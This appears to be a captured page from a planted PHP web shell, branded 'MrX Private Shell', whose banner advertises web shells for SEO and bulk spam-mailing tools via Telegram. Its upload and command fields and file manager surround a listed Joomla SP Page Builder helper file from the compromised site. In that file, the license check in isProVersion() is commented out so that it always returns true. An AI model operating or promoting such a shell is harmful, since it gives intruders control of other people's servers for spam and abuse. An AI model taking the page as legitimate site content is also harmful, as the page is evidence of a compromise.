__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2025 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
 */

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Http\Http;

/** No direct access */
defined('_JEXEC') or die('Restricted access');

final class ApplicationHelper
{
	public static function generateSiteClassName($addonName)
	{
		if (empty($addonName))
		{
			return '';
		}

		if (stripos($addonName, 'easystore_') === 0)
		{
			$parts = explode('_', $addonName);
			$parts = array_map(function ($part)
			{
				return ucfirst($part);
			}, $parts);

			return 'SppagebuilderAddon' . implode('', $parts);
		}

		return 'SppagebuilderAddon' . ucfirst($addonName);
	}

	public static function hasPageContent(int $id)
	{
		$db = Factory::getDbo();
		$query = $db->getQuery(true);

		$query->select('content')
			->from($db->quoteName('#__sppagebuilder'))
			->where($db->quoteName('id') . ' = ' . $id);

		$db->setQuery($query);

		try
		{
			$result = $db->loadResult();

			if (\is_string($result) && !empty($result))
			{
				$result = \json_decode($result);
			}

			return !empty($result);
		}
		catch (\Exception $e)
		{
			return false;
		}
	}

	public static function sanitizePageText($text)
	{
		$text = $text ?? '[]';
		$text = !\is_string($text) ? json_encode($text) : $text;
		$parsed = SpPageBuilderAddonHelper::__($text);
		$parsed = SppagebuilderHelperSite::sanitize($parsed);

		return json_decode($parsed);
	}

	public static function preparePageData($pageData)
	{
		if (empty($pageData))
		{
			return (object) [
				'text' => new stdClass
			];
		}

		$content = [];

		if (empty($pageData->content))
		{
			$pageData->text = SppagebuilderHelperSite::prepareSpacingData($pageData->text);
			$pageData->text = self::sanitizePageText($pageData->text);

			return $pageData;
		}

		if (\is_string($pageData->content))
		{
			$content = \json_decode($pageData->content);
		}

		if (empty($content))
		{
			$pageData->text = SppagebuilderHelperSite::prepareSpacingData($pageData->text);
			$pageData->text = self::sanitizePageText($pageData->text);

			return $pageData;
		}

		$version = SppagebuilderHelper::getVersion();
		$storedVersion = $pageData->version;
		$pageData->text = $content;
		$pageData->text = SppagebuilderHelperSite::prepareSpacingData($pageData->text);
		$pageData->text = json_decode($pageData->text);

		if ($version !== $storedVersion)
		{
			$pageData->text = self::sanitizePageText(json_encode($pageData->text));
		}


		return $pageData;
	}

	public static function isEasyStoreInstalled()
	{
		$db = Factory::getDbo();
		$query = $db->getQuery(true);

		$query->select('enabled')
			->from($db->quoteName('#__extensions'))
			->where($db->quoteName('name') . ' = ' . $db->quote('com_easystore'));

		$db->setQuery($query);

		try
		{
			return (int) $db->loadResult() === 1;
		}
		catch (Exception $e)
		{
			return false;
		}

		return false;
	}

	public static function getStorePageId($viewType)
	{
		$db = Factory::getDbo();
		$query = $db->getQuery(true);

		$query->select('id')
			->from($db->quoteName('#__sppagebuilder'))
			->where($db->quoteName('extension') . ' = ' . $db->quote('com_easystore'))
			->where($db->quoteName('extension_view') . ' = ' . $db->quote($viewType));

		$db->setQuery($query);

		try
		{
			return $db->loadResult() ?? 0;
		}
		catch (Exception $error)
		{
			return 0;
		}

		return 0;
	}

	public static function isProVersion()
	{
		// $http = new Http();
		// $params = ComponentHelper::getParams('com_sppagebuilder');
		
		// $email = $params->get('joomshaper_email', '');
		// $apiKey = $params->get('joomshaper_license_key', '');

		// $args = '&email=' . $email . '&api_key=' . $apiKey;
		// $apiURL = 'https://www.joomshaper.com/index.php?option=com_layouts&task=block.list&support=4beyond' . $args;

		// $pageResponse = $http->get($apiURL);
		// if ($pageResponse->code !== 200)
		// {
		// 	return false;
		// }

		// $responseData = $pageResponse->body;

		// if (!empty($responseData))
		// {
		// 	try {
		// 		$responseData = json_decode($responseData);
		// 		if (!$responseData->authorised)
		// 		{
		// 			return false;
		// 		}
		// 	}
		// 	catch(Exception $e)
		// 	{
		// 		return false;
		// 	}
		// }

		return true;
	}

    /**
     * Get the application configuration
     *
     * @return Registry
     * @since 5.5.1
     */
    public static function getAppConfig()
    {
        if (JVERSION < 4) {
            return Factory::getConfig();
        }

		/** @var CMSApplication */
		$app = Factory::getApplication();
		return $app->getConfig();
    }
}

Filemanager

Name Type Size Permission Actions
AddonsHelper.php File 8.57 KB 0664
ApplicationHelper.php File 4.59 KB 0664
EditorUtils.php File 6.48 KB 0664
FontHelper.php File 3.58 KB 0664
IconHelper.php File 3.58 KB 0664
LanguageHelper.php File 447 B 0664
SecurityHelper.php File 1.19 KB 0664
Filemanager